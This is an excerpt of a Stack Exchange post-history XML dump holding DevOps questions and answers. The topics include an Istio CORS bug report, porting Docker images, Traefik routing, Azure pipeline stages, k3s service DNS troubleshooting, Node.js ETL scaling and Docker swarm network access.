LTS&quot;&#xD;&#xA;VERSION_ID=&quot;18.04&quot;&#xD;&#xA;HOME_URL=&quot;https://www.ubuntu.com/&quot;&#xD;&#xA;SUPPORT_URL=&quot;https://help.ubuntu.com/&quot;&#xD;&#xA;BUG_REPORT_URL=&quot;https://bugs.launchpad.net/ubuntu/&quot;&#xD;&#xA;PRIVACY_POLICY_URL=&quot;https://www.ubuntu.com/legal/terms-and-policies/privacy-policy&quot;&#xD;&#xA;VERSION_CODENAME=bionic&#xD;&#xA;UBUNTU_CODENAME=bionic&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**How was Istio installed?**&#xD;&#xA;https://istio.io/docs/setup/install/standalone-operator/'&#xD;&#xA;&#xD;&#xA;**Environment where bug was observed (cloud vendor, OS, etc)**&#xD;&#xA;On-premise Ubuntu OS" ContentLicense="CC BY-SA 4.0" />
  <row Id="35853" PostHistoryTypeId="4" PostId="11256" RevisionGUID="fa4c60aa-1806-449e-9018-07a29e79af9c" CreationDate="2020-05-28T12:41:40.010" UserId="17329" Comment="added 3326 characters in body; edited title" Text="Istio - corsPolicy allowOrigin from virtualService not blocking curl requests from different origins" ContentLicense="CC BY-SA 4.0" />
  <row Id="35855" PostHistoryTypeId="5" PostId="11256" RevisionGUID="e3361e2a-3865-4be3-9c49-042682b9a808" CreationDate="2020-05-28T12:48:34.403" UserId="17329" Comment="added 5 characters in body" Text="**Bug description**&#xD;&#xA;1.2.2/1.2.10/1.4.0/1.5.1/1.5.2/1.5.3/1.5.4/1.6.0 - allowOrigins not blocking curl requests from different origins. Security vulnerability scan has detected this. When I curl if a domain match I get it as  access-control-allow-origin: https://testthat.com, but if doesn't match I get  access-control-allow-origin: *. I am expecting the request to be blocked.&#xD;&#xA;&#xD;&#xA;**Expected behavior**&#xD;&#xA;The specified origin unless being set to * should block everything else exclusively.&#xD;&#xA;&#xD;&#xA;**Steps to reproduce the bug**&#xD;&#xA;Create a virtual service with CORS allowOrigins set to https://testthat.com, simulate REST API to the service behind it assuming another ORIGIN and the request will return 200.&#xD;&#xA;&#xD;&#xA;On 1.6.0 I am using the virtualservice below to whitelist only single domain and with the following curl I am receiving 200 on a different, why isn't it blocked: curl -X OPTIONS 'https://api2.qa.testthat.com/v1/test/something' -H &quot;Origin: https://testthat.com&quot; -v&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# Please edit the object below. Lines beginning with a '#' will be ignored,&#xD;&#xA;# and an empty file will abort the edit. If an error occurs while saving this file will be&#xD;&#xA;# reopened with the relevant failures.&#xD;&#xA;#&#xD;&#xA;apiVersion: networking.istio.io/v1beta1&#xD;&#xA;kind: VirtualService&#xD;&#xA;metadata:&#xD;&#xA;  labels:&#xD;&#xA;    app.kubernetes.io/instance: qa-bom&#xD;&#xA;    app.kubernetes.io/managed-by: Tiller&#xD;&#xA;    app.kubernetes.io/name: service-test&#xD;&#xA;    helm.sh/chart: service-test-0.1.0-release-2-7-0-4-227fd9a&#xD;&#xA;  name: service-test&#xD;&#xA;  namespace: qa&#xD;&#xA;spec:&#xD;&#xA;  gateways:&#xD;&#xA;  - api-gateway&#xD;&#xA;  hosts:&#xD;&#xA;  - service-test&#xD;&#xA;  - api2.qa.testthat.com&#xD;&#xA;  http:&#xD;&#xA;  - corsPolicy:&#xD;&#xA;      allowHeaders:&#xD;&#xA;      - Authorization&#xD;&#xA;      - Content-Type&#xD;&#xA;      allowMethods:&#xD;&#xA;      - POST&#xD;&#xA;      - GET&#xD;&#xA;      - PUT&#xD;&#xA;      - PATCH&#xD;&#xA;      - DELETE&#xD;&#xA;      allowOrigins:&#xD;&#xA;      - exact: https://testthat.com&#xD;&#xA;    match:&#xD;&#xA;    - gateways:&#xD;&#xA;      - api-gateway&#xD;&#xA;      method:&#xD;&#xA;        regex: GET|OPTIONS&#xD;&#xA;      uri:&#xD;&#xA;        regex: /v1/test/.*&#xD;&#xA;    route:&#xD;&#xA;    - destination:&#xD;&#xA;        host: service-test&#xD;&#xA;        port:&#xD;&#xA;          number: 8080&#xD;&#xA;        subset: active&#xD;&#xA;      weight: 100&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**Version (include the output of `istioctl version --remote` and `kubectl version` and `helm version` if you used Helm)**&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;./istioctl version --remote&#xD;&#xA;client version: 1.6.0&#xD;&#xA;control plane version: 1.6.0&#xD;&#xA;data plane version: 1.6.0 (57 proxies)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA; kubectl version&#xD;&#xA;Client Version: version.Info{Major:&quot;1&quot;, Minor:&quot;14&quot;, GitVersion:&quot;v1.14.1&quot;, GitCommit:&quot;b7394102d6ef778017f2ca4046abbaa23b88c290&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2019-04-08T17:11:31Z&quot;, GoVersion:&quot;go1.12.1&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;Server Version: version.Info{Major:&quot;1&quot;, Minor:&quot;14&quot;, GitVersion:&quot;v1.14.3&quot;, GitCommit:&quot;5e53fd6bc17c0dec8434817e69b04a25d8ae0ff0&quot;, GitTreeState:&quot;clean&quot;, BuildDate:&quot;2019-06-06T01:36:19Z&quot;, GoVersion:&quot;go1.12.5&quot;, Compiler:&quot;gc&quot;, Platform:&quot;linux/amd64&quot;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;helm version&#xD;&#xA;Client: &amp;version.Version{SemVer:&quot;v2.13.0&quot;, GitCommit:&quot;79d07943b03aea2b76c12644b4b54733bc5958d6&quot;, GitTreeState:&quot;clean&quot;}&#xD;&#xA;Server: &amp;version.Version{SemVer:&quot;v2.13.0&quot;, GitCommit:&quot;79d07943b03aea2b76c12644b4b54733bc5958d6&quot;, GitTreeState:&quot;clean&quot;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;cat /etc/*release&#xD;&#xA;DISTRIB_ID=Ubuntu&#xD;&#xA;DISTRIB_RELEASE=18.04&#xD;&#xA;DISTRIB_CODENAME=bionic&#xD;&#xA;DISTRIB_DESCRIPTION=&quot;Ubuntu 18.04.4 LTS&quot;&#xD;&#xA;NAME=&quot;Ubuntu&quot;&#xD;&#xA;VERSION=&quot;18.04.4 LTS (Bionic Beaver)&quot;&#xD;&#xA;ID=ubuntu&#xD;&#xA;ID_LIKE=debian&#xD;&#xA;PRETTY_NAME=&quot;Ubuntu 18.04.4 LTS&quot;&#xD;&#xA;VERSION_ID=&quot;18.04&quot;&#xD;&#xA;HOME_URL=&quot;https://www.ubuntu.com/&quot;&#xD;&#xA;SUPPORT_URL=&quot;https://help.ubuntu.com/&quot;&#xD;&#xA;BUG_REPORT_URL=&quot;https://bugs.launchpad.net/ubuntu/&quot;&#xD;&#xA;PRIVACY_POLICY_URL=&quot;https://www.ubuntu.com/legal/terms-and-policies/privacy-policy&quot;&#xD;&#xA;VERSION_CODENAME=bionic&#xD;&#xA;UBUNTU_CODENAME=bionic&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;**How was Istio installed?**&#xD;&#xA;https://istio.io/docs/setup/install/standalone-operator/'&#xD;&#xA;&#xD;&#xA;**Environment where bug was observed (cloud vendor, OS, etc)**&#xD;&#xA;On-premise Ubuntu OS" ContentLicense="CC BY-SA 4.0" />
  <row Id="35856" PostHistoryTypeId="2" PostId="11714" RevisionGUID="e2db1051-60dc-4916-bf33-b47111f21ebe" CreationDate="2020-05-28T14:44:54.280" UserId="22485" Text="I'm new to Docker. I have looked at many tutorials, however, this is still not clear to me :&#xD;&#xA;&#xD;&#xA;For example, If I create a docker image on a system which is using Ubuntu as the **host** OS. Can I then later port and use this same docker image on a different computer using a different flavour of Linux for the host OS, for example CentOS or any other? " ContentLicense="CC BY-SA 4.0" />
  <row Id="35857" PostHistoryTypeId="1" PostId="11714" RevisionGUID="e2db1051-60dc-4916-bf33-b47111f21ebe" CreationDate="2020-05-28T14:44:54.280" UserId="22485" Text="Porting a docker container to a different Linux host OS" ContentLicense="CC BY-SA 4.0" />
  <row Id="35858" PostHistoryTypeId="3" PostId="11714" RevisionGUID="e2db1051-60dc-4916-bf33-b47111f21ebe" CreationDate="2020-05-28T14:44:54.280" UserId="22485" Text="&lt;docker&gt;&lt;containers&gt;&lt;linux&gt;&lt;centos&gt;&lt;ubuntu&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35859" PostHistoryTypeId="2" PostId="11715" RevisionGUID="7e9593fd-c389-448e-89a4-7e299c9ff913" CreationDate="2020-05-28T16:20:53.283" UserId="20101" Text="Yes, as long as you have the Docker daemon running on the CentOS. Docker heavily utilizes a set of kernel features - namespaces and cgroups. That set comes native for all Linux derivatives.&#xD;&#xA;&#xD;&#xA;In terms of 'porting' the image, you have 2 widely used options:&#xD;&#xA;&#xD;&#xA;1. [docker save][1] on your Ubuntu host. Get the saved archive to your CentOS and load the image with [docker load][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/commandline/save/&#xD;&#xA;  [2]: https://docs.docker.com/engine/reference/commandline/load/&#xD;&#xA;&#xD;&#xA;2. The above option is not so convinient for the standart CI/CD stack, so you might just push your image from your Ubuntu host to a so called registry. Once the image is in your registry, you could pull it from your CentOS host .&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35860" PostHistoryTypeId="5" PostId="11715" RevisionGUID="aa0f1deb-1291-4b7d-893b-9cb9d4d0fb7d" CreationDate="2020-05-28T16:23:51.860" UserId="354" Comment="fix minor typos" Text="Yes, as long as you have the Docker daemon running on the CentOS. Docker heavily utilizes a set of kernel features - namespaces and cgroups. That set comes native for all Linux derivatives.&#xD;&#xA;&#xD;&#xA;In terms of 'porting' the image, you have 2 widely used options:&#xD;&#xA;&#xD;&#xA;1. [docker save][1] on your Ubuntu host. Get the saved archive to your CentOS and load the image with [docker load][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.docker.com/engine/reference/commandline/save/&#xD;&#xA;  [2]: https://docs.docker.com/engine/reference/commandline/load/&#xD;&#xA;&#xD;&#xA;2. The above option is not so convenient for the standard CI/CD stack, so you might just push your image from your Ubuntu host to a so called registry. Once the image is in your registry, you could pull it from your CentOS host.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35861" PostHistoryTypeId="2" PostId="11716" RevisionGUID="06c0514f-a233-4758-9628-b33c203db8f5" CreationDate="2020-05-28T17:39:11.200" UserId="12988" Text="I'm trying to run Nexus in swarm with traefik, nexus has a admin interface that runs on port 8081 and also has a nexus docker registry repository running on port 9615.&#xD;&#xA;&#xD;&#xA;My goal is access registry through registry.docker.domain and nexus by nexus.domain but I am not able to do this.&#xD;&#xA;&#xD;&#xA;traefik config on compose&#xD;&#xA;&#xD;&#xA;    ports:&#xD;&#xA;      - 8081&#xD;&#xA;      - 9615&#xD;&#xA;    deploy:&#xD;&#xA;      labels:&#xD;&#xA;        - &quot;traefik.enable=true&quot;&#xD;&#xA;        # Config Nexus&#xD;&#xA;        - &quot;traefik.http.router.nexus.rule=Host('nexus.domain')&quot;&#xD;&#xA;        - &quot;traefik.http.services.nexus.loadbalancer.server.port=8081&quot;&#xD;&#xA;        - &quot;traefik.http.routers.nexus.entrypoints=web-secure&quot;&#xD;&#xA;        - &quot;traefik.http.routers.nexus.service=nexus&quot;&#xD;&#xA;&#xD;&#xA;        # Config Registry&#xD;&#xA;        - &quot;traefik.http.router.registry.rule=Host('registry.docker')&quot;&#xD;&#xA;        - &quot;traefik.http.services.registry.loadbalancer.server.port=9615&quot;&#xD;&#xA;        - &quot;traefik.http.routers.registry.entrypoints=web-secure&quot;&#xD;&#xA;        - &quot;traefik.http.routers.registry.tls=true&quot;&#xD;&#xA;        - &quot;traefik.http.routers.registry.service=registry&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If I set up only registry labels I can access the registry by https.://registry.domanin and nexus  by registry.domain:PORT&#xD;&#xA;&#xD;&#xA;If I set up only nexus labels I can access nexus by http:.//Nexus.domain&#xD;&#xA;&#xD;&#xA;But the config above, with labels for both at the same time, didn't work, nexus and registry return 404.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Obs: I'm using traefik 2.2, the documentation and the use are very different from 1.6&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35862" PostHistoryTypeId="1" PostId="11716" RevisionGUID="06c0514f-a233-4758-9628-b33c203db8f5" CreationDate="2020-05-28T17:39:11.200" UserId="12988" Text="traefik two hosts in the same config" ContentLicense="CC BY-SA 4.0" />
  <row Id="35863" PostHistoryTypeId="3" PostId="11716" RevisionGUID="06c0514f-a233-4758-9628-b33c203db8f5" CreationDate="2020-05-28T17:39:11.200" UserId="12988" Text="&lt;docker-compose&gt;&lt;nexus&gt;&lt;traefik&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35864" PostHistoryTypeId="2" PostId="11717" RevisionGUID="8661e996-9f51-43e5-a401-676e976abda5" CreationDate="2020-05-28T18:07:31.153" UserId="22482" Text="Assuming that deploy to DEV and QA steps look a lot like your deploy to production-staging environments, put the code that does that work into a [yaml template][1] and take advantage of [parameters][2] to allow you to pass in differing environment settings for DEV, QA, and Staging-Production. &#xD;&#xA;&#xD;&#xA;Then in one pipeline create a `stage` for each environment.  The `stage` should have a `job` which references your template.  You should use [conditions][3] on each stage to ensure your code goes to the environment when you want it.  Here's a pseudocode example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;stages:&#xD;&#xA;- stage: MyDevStage #No condition so this stage always runs&#xD;&#xA;  jobs:&#xD;&#xA;    - template: '../MyTemplate.Yaml&#xD;&#xA;      parameters:&#xD;&#xA;        ServerName: MyDevServer&#xD;&#xA;- stage: MyProdStage&#xD;&#xA;  condition: and(&#xD;&#xA;    succeeded() # if my dev deploy doesn't go well don't deploy to PRD&#xD;&#xA;    , eq(variables['Build.SourceBranch'], 'refs/heads/master') # confirm this is a commit to master&#xD;&#xA;    )&#xD;&#xA;  jobs:&#xD;&#xA;    - template: '../MyTemplate.yaml'&#xD;&#xA;      parameters:&#xD;&#xA;        ServerName: MyProdServer&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;At the top of your pipeline yaml file you'll need to specify a trigger which may look something like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;trigger:&#xD;&#xA;  batch: true&#xD;&#xA;  branches:&#xD;&#xA;    include:&#xD;&#xA;    - master&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/pipelines/process/templates?view=azure-devops&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/devops/pipelines/process/templates?view=azure-devops#passing-parameters&#xD;&#xA;  [3]: https://docs.microsoft.com/en-us/azure/devops/pipelines/process/conditions?view=azure-devops&amp;tabs=yaml" ContentLicense="CC BY-SA 4.0" />
  <row Id="35865" PostHistoryTypeId="2" PostId="11718" RevisionGUID="7b5f8007-f076-427e-b87a-97d4c69173e8" CreationDate="2020-05-28T19:46:22.380" UserId="20101" Text="You can't add run-time dependencies on an already build image using a yaml manifest. &#xD;&#xA;You might attach/exec to an already running pod and install them, but it makes no sence, since you need to make sure that when the pod is re-created you do it again. The much better and right way is simply to describe it in your Dockerfile. &#xD;&#xA; &#xD;&#xA;Kubernetes is not created for such kind of hacky moves. It simpy maintains state that you describe.  Essentially you need to add an instruction that adds git in your Jenkins dockerfile, build your new image and refer to it inside the manifest.&#xD;&#xA;&#xD;&#xA;Commands and args are used if you want override the image's default entrypoint and its arguments." ContentLicense="CC BY-SA 4.0" />
  <row Id="35868" PostHistoryTypeId="2" PostId="11719" RevisionGUID="9d190579-06bd-4867-af5d-96efef6fc7be" CreationDate="2020-05-29T08:10:24.853" UserId="12147" Text="I have installed K3S kubernetes on rasbian, and created a following mysql deployment on it:&#xD;&#xA;&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: PersistentVolumeClaim&#xD;&#xA;    metadata:&#xD;&#xA;      name: mysql-data&#xD;&#xA;    spec:&#xD;&#xA;      accessModes:&#xD;&#xA;        - ReadWriteOnce&#xD;&#xA;      storageClassName: local-path&#xD;&#xA;      resources:&#xD;&#xA;        requests:&#xD;&#xA;          storage: 100Gi&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: PersistentVolumeClaim&#xD;&#xA;    metadata:&#xD;&#xA;      name: mysql-config&#xD;&#xA;    spec:&#xD;&#xA;      accessModes:&#xD;&#xA;        - ReadWriteOnce&#xD;&#xA;      storageClassName: local-path&#xD;&#xA;      resources:&#xD;&#xA;        requests:&#xD;&#xA;          storage: 100Mi&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: PersistentVolumeClaim&#xD;&#xA;    metadata:&#xD;&#xA;      name: mysql-log&#xD;&#xA;    spec:&#xD;&#xA;      accessModes:&#xD;&#xA;        - ReadWriteOnce&#xD;&#xA;      storageClassName: local-path&#xD;&#xA;      resources:&#xD;&#xA;        requests:&#xD;&#xA;          storage: 100Gi&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Service&#xD;&#xA;    metadata:&#xD;&#xA;      name: mysql&#xD;&#xA;      labels:&#xD;&#xA;        app: mysql&#xD;&#xA;    spec:&#xD;&#xA;      ports:&#xD;&#xA;      - port: 3306&#xD;&#xA;        name: mysql&#xD;&#xA;        targetPort: 3306&#xD;&#xA;      selector:&#xD;&#xA;        app: mysql&#xD;&#xA;    &#xD;&#xA;    ---&#xD;&#xA;    &#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: Service&#xD;&#xA;    metadata:&#xD;&#xA;      name: mysql-nodeport&#xD;&#xA;    spec:&#xD;&#xA;      type: NodePort&#xD;&#xA;      selector:&#xD;&#xA;        app: mysql&#xD;&#xA;      ports:&#xD;&#xA;          # By default and for convenience, the `targetPort` is set to the same value as the `port` field.&#xD;&#xA;        - port: 3306&#xD;&#xA;          targetPort: 3306&#xD;&#xA;          # Optional field&#xD;&#xA;          # By default and for convenience, the Kubernetes control plane will allocate a port from a range (default: 30000-32767)&#xD;&#xA;          nodePort: 30036&#xD;&#xA;     &#xD;&#xA;    ---&#xD;&#xA;    apiVersion: apps/v1&#xD;&#xA;    kind: Deployment&#xD;&#xA;    metadata:&#xD;&#xA;      name: mysql&#xD;&#xA;    spec:&#xD;&#xA;      selector:&#xD;&#xA;        matchLabels:&#xD;&#xA;          app: mysql&#xD;&#xA;      replicas: 1&#xD;&#xA;      template:&#xD;&#xA;        metadata:&#xD;&#xA;          labels:&#xD;&#xA;            app: mysql&#xD;&#xA;        spec:&#xD;&#xA;          securityContext:&#xD;&#xA;            fsGroup: 999 &#xD;&#xA;          containers:&#xD;&#xA;          - name: mysql&#xD;&#xA;            image: hypriot/rpi-mysql:latest&#xD;&#xA;            imagePullPolicy: &quot;IfNotPresent&quot;&#xD;&#xA;            env:&#xD;&#xA;            - name: MYSQL_ROOT_PASSWORD&#xD;&#xA;              value: root9&#xD;&#xA;            ports:&#xD;&#xA;            - containerPort: 3306&#xD;&#xA;            volumeMounts:&#xD;&#xA;            - mountPath: /var/lib/mysql&#xD;&#xA;              name: mysql-data&#xD;&#xA;            - mountPath: /var/log/mysql&#xD;&#xA;              name: mysql-log&#xD;&#xA;            - mountPath: /etc/mysql&#xD;&#xA;              name: mysql-config&#xD;&#xA;          volumes:&#xD;&#xA;          - name: mysql-data&#xD;&#xA;            persistentVolumeClaim:&#xD;&#xA;              claimName: mysql-data&#xD;&#xA;          - name: mysql-config&#xD;&#xA;            persistentVolumeClaim:&#xD;&#xA;              claimName: mysql-config&#xD;&#xA;          - name: mysql-log&#xD;&#xA;            persistentVolumeClaim:&#xD;&#xA;              claimName: mysql-log&#xD;&#xA;          nodeSelector:&#xD;&#xA;            mysql: master &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I cannot access mysql by the above definied service:&#xD;&#xA;&#xD;&#xA;I have checked the mysql service is accessable:&#xD;&#xA;&#xD;&#xA;    sudo kubectl exec -it mysql-d6656577c-6rdzr bash&#xD;&#xA;    root@mysql-d6656577c-6rdzr:/# echo &gt; /dev/tcp/localhost/3306&#xD;&#xA;    root@mysql-d6656577c-6rdzr:/# echo $?&#xD;&#xA;    0&#xD;&#xA;    root@mysql-d6656577c-6rdzr:/# echo &gt; /dev/tcp/mysql-d6656577c-6rdzr/3306&#xD;&#xA;    root@mysql-d6656577c-6rdzr:/# echo $?&#xD;&#xA;&#xD;&#xA;0&#xD;&#xA;&#xD;&#xA;But the service is not working:&#xD;&#xA;&#xD;&#xA;    root@mysql-d6656577c-6rdzr:/# echo &gt; /dev/tcp/mysql/3306&#xD;&#xA;    bash: mysql: Name or service not known&#xD;&#xA;    bash: /dev/tcp/mysql/3306: Invalid argument&#xD;&#xA;    root@mysql-d6656577c-6rdzr:/# &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Service description:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    sudo kubectl describe svc mysql&#xD;&#xA;    Name:              mysql&#xD;&#xA;    Namespace:         default&#xD;&#xA;    Labels:            app=mysql&#xD;&#xA;    Annotations:       kubectl.kubernetes.io/last-applied-configuration:&#xD;&#xA;                         {&quot;apiVersion&quot;:&quot;v1&quot;,&quot;kind&quot;:&quot;Service&quot;,&quot;metadata&quot;:{&quot;annotations&quot;:{},&quot;labels&quot;:{&quot;app&quot;:&quot;mysql&quot;},&quot;name&quot;:&quot;mysql&quot;,&quot;namespace&quot;:&quot;default&quot;},&quot;spec&quot;:{&quot;p...&#xD;&#xA;    Selector:          app=mysql&#xD;&#xA;    Type:              ClusterIP&#xD;&#xA;    IP:                10.43.58.35&#xD;&#xA;    Port:              mysql  3306/TCP&#xD;&#xA;    TargetPort:        3306/TCP&#xD;&#xA;    Endpoints:         10.42.0.161:3306&#xD;&#xA;    Session Affinity:  None&#xD;&#xA;    Events:            &lt;none&gt;&#xD;&#xA;&#xD;&#xA;Core DNS logs:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    sudo kubectl logs -f coredns-d798c9dd-npbj4 --namespace=kube-system&#xD;&#xA;    .:53&#xD;&#xA;    [INFO] plugin/reload: Running configuration MD5 = 4665410bf21c8b272fcfd562c482cb82&#xD;&#xA;       ______                ____  _   _______&#xD;&#xA;      / ____/___  ________  / __ \/ | / / ___/	~ CoreDNS-1.6.3&#xD;&#xA;     / /   / __ \/ ___/ _ \/ / / /  |/ /\__ \ 	~ linux/arm, go1.12.9, 37b9550&#xD;&#xA;    / /___/ /_/ / /  /  __/ /_/ / /|  /___/ / &#xD;&#xA;    \____/\____/_/   \___/_____/_/ |_//____/  &#xD;&#xA;    [ERROR] plugin/errors: 2 1587632103.896807637. HINFO: read udp 10.42.0.160:34250-&gt;8.8.8.8:53: i/o timeout&#xD;&#xA;    [ERROR] plugin/errors: 2 1587632103.896807637. HINFO: read udp 10.42.0.160:47752-&gt;8.8.4.4:53: i/o timeout&#xD;&#xA;    [ERROR] plugin/errors: 2 1587632103.896807637. HINFO: read udp 10.42.0.160:57505-&gt;8.8.8.8:53: i/o timeout&#xD;&#xA;    [ERROR] plugin/errors: 2 1587632103.896807637. HINFO: read udp 10.42.0.160:51583-&gt;8.8.4.4:53: i/o timeout&#xD;&#xA;    [ERROR] plugin/errors: 2 1587632103.896807637. HINFO: read udp 10.42.0.160:39172-&gt;8.8.8.8:53: i/o timeout&#xD;&#xA;    [ERROR] plugin/errors: 2 1587632103.896807637. HINFO: read udp 10.42.0.160:39568-&gt;8.8.8.8:53: i/o timeout&#xD;&#xA;    [ERROR] plugin/errors: 2 1587632103.896807637. HINFO: read udp 10.42.0.160:39343-&gt;8.8.4.4:53: i/o timeout&#xD;&#xA;    [ERROR] plugin/errors: 2 1587632103.896807637. HINFO: read udp 10.42.0.160:40929-&gt;8.8.8.8:53: i/o timeout&#xD;&#xA;    [ERROR] plugin/errors: 2 1587632103.896807637. HINFO: read udp 10.42.0.160:43962-&gt;8.8.8.8:53: i/o timeout&#xD;&#xA;    [ERROR] plugin/errors: 2 1587632103.896807637. HINFO: read udp 10.42.0.160:47330-&gt;8.8.8.8:53: i/o timeout&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I cannot understand this, because 8.8.8.8 is accessable from host raspberry pi and 8.8.8.8 not contains local dns names (for instance: mysql)&#xD;&#xA;&#xD;&#xA;    ping 8.8.8.8&#xD;&#xA;    PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.&#xD;&#xA;    64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=10.10 ms&#xD;&#xA;    64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=11.3 ms&#xD;&#xA;&#xD;&#xA;What can be the problem? Why I cannot access mysql?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35869" PostHistoryTypeId="1" PostId="11719" RevisionGUID="9d190579-06bd-4867-af5d-96efef6fc7be" CreationDate="2020-05-29T08:10:24.853" UserId="12147" Text="Why I cannot access k3s service from pod in rasbian?" ContentLicense="CC BY-SA 4.0" />
  <row Id="35870" PostHistoryTypeId="3" PostId="11719" RevisionGUID="9d190579-06bd-4867-af5d-96efef6fc7be" CreationDate="2020-05-29T08:10:24.853" UserId="12147" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35871" PostHistoryTypeId="2" PostId="11720" RevisionGUID="7fa34825-9360-440c-b957-3f1e980a4e19" CreationDate="2020-05-29T09:21:50.750" UserId="22497" Text="I have a node.js ETL application that transforms data from 1..n locations and from each location there will be 0..m transactions.&#xD;&#xA;The application is started via cron on a configurable interval, currently 15 minutes.&#xD;&#xA;Currently, the pattern employed is to use Promise.map({concurrency:x}) at both the location and transaction level to obtain a combined degree of concurrency to achieve the maximum throughput (constrained by DB I/O.  &#xD;&#xA;&#xD;&#xA;Right now the app runs on a single Ubuntu VM, processing 6 locations and ~ 1000 transactions/location.  So minimal data processing overhead.  The pattern works.&#xD;&#xA;But when there are 1000+ locations and possibly more transactions per interval, the pattern will still work of course, but the time to complete all locations will grow.&#xD;&#xA;Being node, the process is single threaded and so the pattern is not leveraging the available cores.&#xD;&#xA;&#xD;&#xA;So I’m thinking about how to change the pattern to scale.  Options I’m considering (not mutually exclusive)&#xD;&#xA;&#xD;&#xA; - containerise the app, start one for every n locations - based on some manual determination of # of locations to process per container. &#xD;&#xA; - remain non containerised but use fork() to leverage additional CPU’s and partition on n locations&#xD;&#xA;&#xD;&#xA;Based on my reading to date, my approach is:&#xD;&#xA;&#xD;&#xA; -  forget “fork&quot;&#xD;&#xA; - containerise the app&#xD;&#xA;* spin up x apps, x being determined based on manual determination since the parameters are known vs dynamic&#xD;&#xA;    * each container would be responsible for n locations&#xD;&#xA;    * each app would set its own “cron” to orchestrate its batch processing&#xD;&#xA;&#xD;&#xA;Not being an expert in docker (but reasonably familiar) and certainly a newbie to orchestration, I would appreciate any guidance on how containers / orchestration might help.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35872" PostHistoryTypeId="1" PostId="11720" RevisionGUID="7fa34825-9360-440c-b957-3f1e980a4e19" CreationDate="2020-05-29T09:21:50.750" UserId="22497" Text="Pattern(s) to scale node.js based ETL" ContentLicense="CC BY-SA 4.0" />
  <row Id="35873" PostHistoryTypeId="3" PostId="11720" RevisionGUID="7fa34825-9360-440c-b957-3f1e980a4e19" CreationDate="2020-05-29T09:21:50.750" UserId="22497" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;node.js&gt;&lt;orchestration&gt;&lt;scalability&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="35874" PostHistoryTypeId="2" PostId="11721" RevisionGUID="09df616d-05f3-4156-a69d-55d64d245c92" CreationDate="2020-05-29T11:47:30.337" UserId="10670" Text="Specifically, I want them to run the following: https://django-q.readthedocs.io/en/latest/monitor.html&#xD;&#xA;&#xD;&#xA;I am looking to write a minimal wrapper-script which would simply allow them to run a single command, for example, `myproject-admin manage qmonitor` from their own machines (connecting to live Docker swarm as necessary) and returning the output they need to their machines.&#xD;&#xA;&#xD;&#xA;Currently, the networks I have created are not attachable by non-swarm containers.&#xD;&#xA;&#xD;&#xA;**Is there a security risk to allowing docker swarm networks to become attachable?**&#xD;&#xA;&#xD;&#xA;The solution I can think about is to reconfigure the network to be attachable so that the wrapper script could via ssh, execute `docker run -it --rm --network database --name task-name_2020-05-29_12-51-00 django_image:2020-05-29 /app/manage.py qmonitor`&#xD;&#xA;&#xD;&#xA;**Without changing the network to be attachable, is there another way of accessing the database?**&#xD;&#xA;&#xD;&#xA;**I know I could exec against the running web server but isn't that bad practice?**&#xD;&#xA;&#xD;&#xA;In the future, if this project generates income, the database would move to Amazon RDS or similar. For security, I would want to limit access of the database to the Docker swarm `database` network as well so that the database is not accessible via the host (is that possible? If so, the scenario I laid out here still reflects the nature of the problem)&#xD;&#xA;&#xD;&#xA;Another possible solution I thought about is creating a temporary network link to the database via ssh port forwarding (or another means), and then getting the admins to run the command locally (Django docker container run locally) but communicating to the database. This is preferable because it would allow the devs to use their own system resources (but might not be ideal if bandwidth becomes the constraint).&#xD;&#xA;&#xD;&#xA;Any alternate suggestions on my architecture to circumvent this problem would also be appreciated. Currently, this is a pet project to develop my skills. Docker swarm is probably not yet required, but I require a live project to practice my skills, hence why it is being used in this case.&#xD;&#xA;&#xD;&#xA;___&#xD;&#xA;&#xD;&#xA;For context, here is my working docker-compose file which I use for the project (slightly 